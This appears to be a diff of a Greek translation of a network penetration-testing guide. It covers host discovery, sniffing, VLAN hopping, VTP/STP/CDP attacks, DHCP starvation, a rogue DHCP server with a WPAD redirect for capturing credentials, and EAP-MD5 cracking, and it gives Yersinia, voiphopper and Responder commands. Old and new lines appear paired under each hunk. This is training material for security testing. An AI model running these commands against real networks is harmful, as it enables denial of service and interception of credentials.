Σημειώστε ότι οι τεχνικές που σχολιάζονται στο [_**Ανακαλύπτοντας hosts από έξω**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\
Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**:
```bash
#ARP discovery
@ -102,7 +102,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**:
- Αν **ping** ένα **subnet broadcast address**, το ping θα πρέπει να φτάσει σε **κάθε host** και αυτοί θα μπορούσαν να **απαντήσουν** σε **εσάς**: `ping -b 10.10.5.255`
- Κάνοντας ping στο **network broadcast address**, θα μπορούσατε ακόμη να βρείτε hosts μέσα σε **άλλα subnets**: `ping -b 255.255.255.255`
- Κάνοντας ping στο **network broadcast address** θα μπορούσατε ακόμη να βρείτε hosts μέσα σε **άλλα subnets**: `ping -b 255.255.255.255`
- Χρησιμοποιήστε τις σημαίες `-PE`, `-PP`, `-PM` του `nmap` για να εκτελέσετε ανακάλυψη hosts στέλνοντας αντίστοιχα **ICMPv4 echo**, **timestamp**, και **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
@ -123,7 +123,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
- **Ανοιχτή** θύρα: _SYN --> SYN/ACK --> RST_
- **Κλειστή** θύρα: _SYN --> RST/ACK_
- **Φιλτραρισμένη** θύρα: _SYN --> \[ΧΩΡΙΣ ΑΠΑΝΤΗΣΗ]_
- **Φιλτραρισμένη** θύρα: _SYN --> \[NO RESPONSE]_
- **Φιλτραρισμένη** θύρα: _SYN --> ICMP μήνυμα_
```bash
# Nmap fast scan for the most 1000tcp ports used
@ -143,7 +143,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
- Στείλτε ένα **UDP packet** και ελέγξτε για την απάντηση _**ICMP unreachable**_ αν η θύρα είναι **κλειστή** (σε πολλές περιπτώσεις το ICMP θα είναι **φιλτραρισμένο** οπότε δεν θα λάβετε καμία πληροφορία αν η θύρα είναι κλειστή ή ανοιχτή).
- Στείλτε **formatted datagrams** για να προκαλέσετε μια απάντηση από μια **υπηρεσία** (π.χ., DNS, DHCP, TFTP και άλλες, όπως αναφέρονται στο _nmap-payloads_). Αν λάβετε μια **απάντηση**, τότε η θύρα είναι **ανοιχτή**.
**Nmap** θα **συνδυάσει και τις δύο** επιλογές χρησιμοποιώντας "-sV" (οι σαρώσεις UDP είναι πολύ αργές), αλλά σημειώστε ότι οι σαρώσεις UDP είναι πιο αργές από τις σαρώσεις TCP:
**Nmap** θα **συνδυάσει και τις δύο** επιλογές χρησιμοποιώντας "-sV" (οι σαρώσεις UDP είναι πολύ αργές), αλλά προσέξτε ότι οι σαρώσεις UDP είναι πιο αργές από τις σαρώσεις TCP:
```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
@ -170,19 +170,21 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDS και IPS αποφυγή
{{#ref}}
ids-evasion.md
{{#endref}}
### **Περισσότερες επιλογές nmap**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### Αποκάλυψη Εσωτερικών Διευθύνσεων IP
**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα probes χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται.
**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,9 +194,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις διευθύνσεις IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing.
Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις περιοχές IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing.
Εάν ένα δίκτυο Ethernet με διακόπτες είναι σωστά διαμορφωμένο, θα δείτε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας.
Εάν ένα switched Ethernet δίκτυο είναι σωστά διαμορφωμένο, θα βλέπετε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας.
### TCPDump
```bash
@ -256,11 +258,11 @@ macof -i <interface>
#### Δυναμική Τρούκ
Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης σωστής τεκμηρίωσης.
Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης κατάλληλης τεκμηρίωσης.
Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε λειτουργία Dynamic Auto, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης STP frame και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές.
Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε Δυναμική Αυτόματη λειτουργία, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης πλαισίων STP και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές.
Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κίνηση σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε λειτουργία Default, Trunk, Dynamic, Auto ή Access—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη.
Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κυκλοφορία σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε Λειτουργία Προεπιλογής, Τρούκ, Δυναμική, Αυτόματη ή Πρόσβαση—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη.
Εάν εντοπιστεί ευπάθεια δικτύου, το εργαλείο _**Yersinia**_ μπορεί να χρησιμοποιηθεί για να "ενεργοποιήσει το τρούκ" μέσω του πρωτοκόλλου DTP, επιτρέποντας την παρακολούθηση πακέτων από όλα τα VLAN.
```bash
@ -288,7 +290,7 @@ sudo python3 DTPHijacking.py --interface eth0
#### Επίθεση σε συγκεκριμένα VLANs
Μόλις γνωρίζετε τις τιμές VLAN IDs και IPs, μπορείτε να **ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN**.\
Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε το _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP.
Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP.
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
@ -350,18 +352,18 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως private VLAN)** για να αποτραπεί η άμεση επικοινωνία των πελατών που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο.
Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως ιδιωτικά VLAN)** για να αποτρέψουν τους πελάτες που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης από το να επικοινωνούν άμεσα μεταξύ τους. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο.
Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του πελάτη προορισμού αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια.
Η επίθεση εκτελείται δημιουργώντας ένα **πακέτο που φέρει τη διεύθυνση IP του προορισμού πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή**. Αυτό προκαλεί στον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον στοχευμένο πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις Double Tagging, όπου η ικανότητα ελέγχου ενός host προσβάσιμου από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την ασφάλεια.
**Βασικά Βήματα της Επίθεσης:**
1. **Δημιουργία Πακέτου:** Ένα πακέτο δημιουργείται ειδικά για να περιλαμβάνει τη διεύθυνση IP του στοχευμένου πελάτη αλλά με τη MAC διεύθυνση του δρομολογητή.
2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις private VLAN.
2. **Εκμετάλλευση Συμπεριφοράς Δρομολογητή:** Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον στοχευμένο πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις ιδιωτικού VLAN.
### VTP Attacks
Το VTP (VLAN Trunking Protocol) κεντρικοποιεί τη διαχείριση VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN. Οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN.
Το VTP (VLAN Trunking Protocol) κεντρικοποιεί τη διαχείριση VLAN. Χρησιμοποιεί αριθμούς αναθεώρησης για να διατηρεί την ακεραιότητα της βάσης δεδομένων VLAN; οποιαδήποτε τροποποίηση αυξάνει αυτόν τον αριθμό. Οι διακόπτες υιοθετούν ρυθμίσεις με υψηλότερους αριθμούς αναθεώρησης, ενημερώνοντας τις δικές τους βάσεις δεδομένων VLAN.
#### VTP Domain Roles
@ -372,7 +374,7 @@ lateral-vlan-segmentation-bypass.md
#### VTP Advertisement Types
- **Summary Advertisement:** Διαδίδεται από τον VTP server κάθε 300 δευτερόλεπτα, μεταφέροντας βασικές πληροφορίες τομέα.
- **Subset Advertisement:** Αποστέλλεται μετά από αλλαγές στη ρύθμιση VLAN.
- **Subset Advertisement:** Αποστέλλεται μετά από αλλαγές ρυθμίσεων VLAN.
- **Advertisement Request:** Εκδίδεται από έναν VTP client για να ζητήσει μια Summary Advertisement, συνήθως ως απάντηση στην ανίχνευση υψηλότερου αριθμού αναθεώρησης ρύθμισης.
Οι ευπάθειες VTP είναι εκμεταλλεύσιμες αποκλειστικά μέσω θυρών trunk καθώς οι ανακοινώσεις VTP κυκλοφορούν μόνο μέσω αυτών. Μετά από σενάρια επίθεσης DTP, μπορεί να στραφούν προς το VTP. Εργαλεία όπως το Yersinia μπορούν να διευκολύνουν επιθέσεις VTP, στοχεύοντας να διαγράψουν τη βάση δεδομένων VLAN, διαταράσσοντας αποτελεσματικά το δίκτυο.
@ -383,13 +385,13 @@ lateral-vlan-segmentation-bypass.md
````
Στη γραφική λειτουργία του Yersinia, επιλέξτε την επιλογή διαγραφής όλων των VTP vlans για να καθαρίσετε τη βάση δεδομένων VLAN.
### Επιθέσεις STP
### STP Επιθέσεις
**Εάν δεν μπορείτε να συλλάβετε τα πακέτα BPDU στις διεπαφές σας, είναι απίθανο να πετύχετε σε μια επίθεση STP.**
#### **STP BPDU DoS**
Αποστέλλοντας πολλά BPDUs TCP (Topology Change Notification) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), οι διακόπτες υπερφορτώνονται και σταματούν να λειτουργούν σωστά.
Αποστέλλοντας πολλά BPDUs TCP (Ειδοποίηση Αλλαγής Τοπολογίας) ή Conf (τα BPDUs που αποστέλλονται όταν δημιουργείται η τοπολογία), οι διακόπτες υπερφορτώνονται και σταματούν να λειτουργούν σωστά.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@ -397,7 +399,7 @@ yersinia stp -attack 3
```
#### **STP TCP Attack**
Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπ behaves ως hub.
Όταν αποστέλλεται ένα TCP, ο πίνακας CAM των διακοπτών θα διαγραφεί σε 15 δευτερόλεπτα. Στη συνέχεια, αν στέλνετε συνεχώς αυτού του είδους τα πακέτα, ο πίνακας CAM θα επανεκκινείται συνεχώς (ή κάθε 15 δευτερόλεπτα) και όταν επανεκκινείται, ο διακόπτης συμπεριφέρεται ως κόμβος.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -405,7 +407,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **STP Root Attack**
Ο επιτιθέμενος προσομοιώνει τη συμπεριφορά ενός διακόπτη για να γίνει ο STP root του δικτύου. Στη συνέχεια, περισσότερα δεδομένα θα περάσουν μέσω αυτού. Αυτό είναι ενδιαφέρον όταν είστε συνδεδεμένοι σε δύο διαφορετικούς διακόπτες.\
Αυτό γίνεται στέλνοντας πακέτα BPDUs CONF που δηλώνουν ότι η τιμή **priority** είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού διακόπτη root.
Αυτό γίνεται στέλνοντας πακέτα BPDUs CONF που λένε ότι η τιμή **priority** είναι μικρότερη από την πραγματική προτεραιότητα του πραγματικού διακόπτη root.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -431,9 +433,9 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Κατά τη διάρκεια αυτής της επίθεσης, η CPU του switch και ο πίνακας γειτόνων CDP επιβαρύνονται σημαντικά, οδηγώντας σε αυτό που συχνά αναφέρεται ως **“παράλυση δικτύου”** λόγω της υπερβολικής κατανάλωσης πόρων.
Κατά τη διάρκεια αυτής της επίθεσης, η CPU του switch και ο πίνακας γειτόνων CDP επιβαρύνονται σοβαρά, οδηγώντας σε αυτό που συχνά αναφέρεται ως **“παράλυση δικτύου”** λόγω της υπερβολικής κατανάλωσης πόρων.
#### Επίθεση Υποκλοπής CDP
#### CDP Impersonation Attack
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
@ -448,9 +450,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
**VoIP Hopper** προσφέρει τρεις λειτουργίες για το Πρωτόκολλο Ανακάλυψης Cisco (CDP):
1. **Sniff Mode** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID.
2. **Spoof Mode** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP.
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP.
1. **Λειτουργία Sniff** (`-c 0`): Αναλύει τα πακέτα δικτύου για να προσδιορίσει το VLAN ID.
2. **Λειτουργία Spoof** (`-c 1`): Δημιουργεί προσαρμοσμένα πακέτα που μιμούνται αυτά μιας πραγματικής συσκευής VoIP.
3. **Λειτουργία Spoof με Προκατασκευασμένο Πακέτο** (`-c 2`): Στέλνει πακέτα ταυτόσημα με αυτά ενός συγκεκριμένου μοντέλου τηλεφώνου Cisco IP.
Η προτιμώμενη λειτουργία για ταχύτητα είναι η τρίτη. Απαιτεί τον καθορισμό:
@ -467,9 +469,9 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP Επιθέσεις
### DHCP Attacks
#### Αρίθμηση
#### Enumeration
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
@ -492,7 +494,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**Δύο τύποι DoS** μπορούν να εκτελούνται κατά των DHCP servers. Ο πρώτος περιλαμβάνει **την προσομοίωση αρκετών ψεύτικων hosts για να χρησιμοποιηθούν όλες οι δυνατές διευθύνσεις IP**.\
Αυτή η επίθεση θα λειτουργήσει μόνο αν μπορείτε να δείτε τις απαντήσεις του DHCP server και να ολοκληρώσετε το πρωτόκολλο (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Για παράδειγμα, αυτό **δεν είναι δυνατό σε δίκτυα Wifi**.
Ένας άλλος τρόπος για να εκτελέσετε μια DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP.
Μια άλλη μέθοδος για να εκτελέσετε ένα DHCP DoS είναι να στείλετε ένα **DHCP-RELEASE packet χρησιμοποιώντας ως πηγή κάθε δυνατή IP**. Τότε, ο server θα νομίζει ότι όλοι έχουν τελειώσει τη χρήση της IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
@ -503,7 +505,7 @@ yersinia dhcp -attack 3 #More parameters are needed
#### Ορισμός κακόβουλων τιμών
Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή HTTP κίνησης και διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση.
Ένας κακόβουλος διακομιστής DHCP μπορεί να ρυθμιστεί χρησιμοποιώντας το σενάριο DHCP που βρίσκεται στο `/usr/share/responder/DHCP.py`. Αυτό είναι χρήσιμο για επιθέσεις δικτύου, όπως η καταγραφή της κίνησης HTTP και των διαπιστευτηρίων, ανακατευθύνοντας την κίνηση σε έναν κακόβουλο διακομιστή. Ωστόσο, η ρύθμιση ενός κακόβουλου πύλης είναι λιγότερο αποτελεσματική, καθώς επιτρέπει μόνο την καταγραφή της εξερχόμενης κίνησης από τον πελάτη, χάνοντας τις απαντήσεις από την πραγματική πύλη. Αντίθετα, συνιστάται η ρύθμιση ενός κακόβουλου διακομιστή DNS ή WPAD για μια πιο αποτελεσματική επίθεση.
Παρακάτω είναι οι επιλογές εντολών για τη ρύθμιση του κακόβουλου διακομιστή DHCP:
@ -514,11 +516,11 @@ yersinia dhcp -attack 3 #More parameters are needed
- **Διεύθυνση IP Δευτερεύοντος Διακομιστή DNS**: Προαιρετικά, χρησιμοποιήστε `-s 10.0.0.1` για να ορίσετε μια δευτερεύουσα διεύθυνση IP διακομιστή DNS.
- **Μάσκα Δικτύου Τοπικού Δικτύου**: Χρησιμοποιήστε `-n 255.255.255.0` για να ορίσετε τη μάσκα για το τοπικό δίκτυο.
- **Διεπαφή για Κίνηση DHCP**: Χρησιμοποιήστε `-I eth1` για να ακούσετε την κίνηση DHCP σε μια συγκεκριμένη διεπαφή δικτύου.
- **Διεύθυνση Ρύθμισης WPAD**: Χρησιμοποιήστε `-w “http://10.0.0.100/wpad.dat”` για να ορίσετε τη διεύθυνση για τη ρύθμιση WPAD, βοηθώντας στην παρεμπόδιση της κίνησης ιστού.
- **Διεύθυνση Ρύθμισης WPAD**: Χρησιμοποιήστε `-w “http://10.0.0.100/wpad.dat”` για να ορίσετε τη διεύθυνση για τη ρύθμιση WPAD, βοηθώντας στην παρεμβολή της κίνησης ιστού.
- **Ψεύτικη Διεύθυνση IP Προεπιλεγμένης Πύλης**: Συμπεριλάβετε `-S` για να ψεύσετε τη διεύθυνση IP της προεπιλεγμένης πύλης.
- **Απάντηση σε Όλες τις Αιτήσεις DHCP**: Συμπεριλάβετε `-R` για να κάνετε τον διακομιστή να απαντά σε όλες τις αιτήσεις DHCP, αλλά να είστε προσεκτικοί καθώς αυτό είναι θορυβώδες και μπορεί να ανιχνευθεί.
Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας κακόβουλος διακομιστής DHCP για να παρεμποδίσει αποτελεσματικά την κίνηση δικτύου.
Χρησιμοποιώντας σωστά αυτές τις επιλογές, μπορεί να δημιουργηθεί ένας κακόβουλος διακομιστής DHCP για να παρεμβάλλει αποτελεσματικά την κίνηση δικτύου.
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
@ -529,17 +531,17 @@ yersinia dhcp -attack 3 #More parameters are needed
- Ενεργή βίαιη προσπάθεια αποκωδικοποίησης κωδικών πρόσβασης μέσω EAP
- Επίθεση στον διακομιστή RADIUS με κακώς διαμορφωμένο περιεχόμενο EAP _\*\*_(exploits)
- Καταγραφή μηνυμάτων EAP και εκτός σύνδεσης αποκωδικοποίηση κωδικών πρόσβασης (EAP-MD5 και PEAP)
- Καταγραφή μηνυμάτων EAP και εκ των υστέρων αποκωδικοποίηση κωδικών πρόσβασης (EAP-MD5 και PEAP)
- Ανάγκαστη πιστοποίηση EAP-MD5 για παράκαμψη της επικύρωσης πιστοποιητικού TLS
- Εισαγωγή κακόβουλης δικτυακής κίνησης κατά την πιστοποίηση χρησιμοποιώντας ένα hub ή παρόμοιο
Εάν ο επιτιθέμενος βρίσκεται μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας:
Εάν ο επιτιθέμενος είναι μεταξύ του θύματος και του διακομιστή πιστοποίησης, θα μπορούσε να προσπαθήσει να υποβαθμίσει (αν είναι απαραίτητο) το πρωτόκολλο πιστοποίησης σε EAP-MD5 και να καταγράψει την απόπειρα πιστοποίησης. Στη συνέχεια, θα μπορούσε να το αποκωδικοποιήσει βίαια χρησιμοποιώντας:
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (Πρωτόκολλο Πρώτης Εναλλακτικής Διαδρομής) είναι μια κατηγορία πρωτοκόλλων δικτύου που έχει σχεδιαστεί για να **δημιουργεί ένα σύστημα δρομολόγησης με ζεστή εναλλακτική διαδρομή**. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε μια ενιαία λογική συσκευή, η οποία αυξάνει την ανθεκτικότητα σε σφάλματα και βοηθά στη διανομή του φορτίου.
**FHRP** (Πρωτόκολλο Πρώτης Εναλλακτικής Διαδρομής) είναι μια κατηγορία πρωτοκόλλων δικτύου που έχει σχεδιαστεί για να **δημιουργήσει ένα σύστημα δρομολόγησης με ζεστή εναλλακτική διαδρομή**. Με το FHRP, φυσικοί δρομολογητές μπορούν να συνδυαστούν σε μια ενιαία λογική συσκευή, η οποία αυξάνει την ανθεκτικότητα σε σφάλματα και βοηθά στη διανομή του φορτίου.
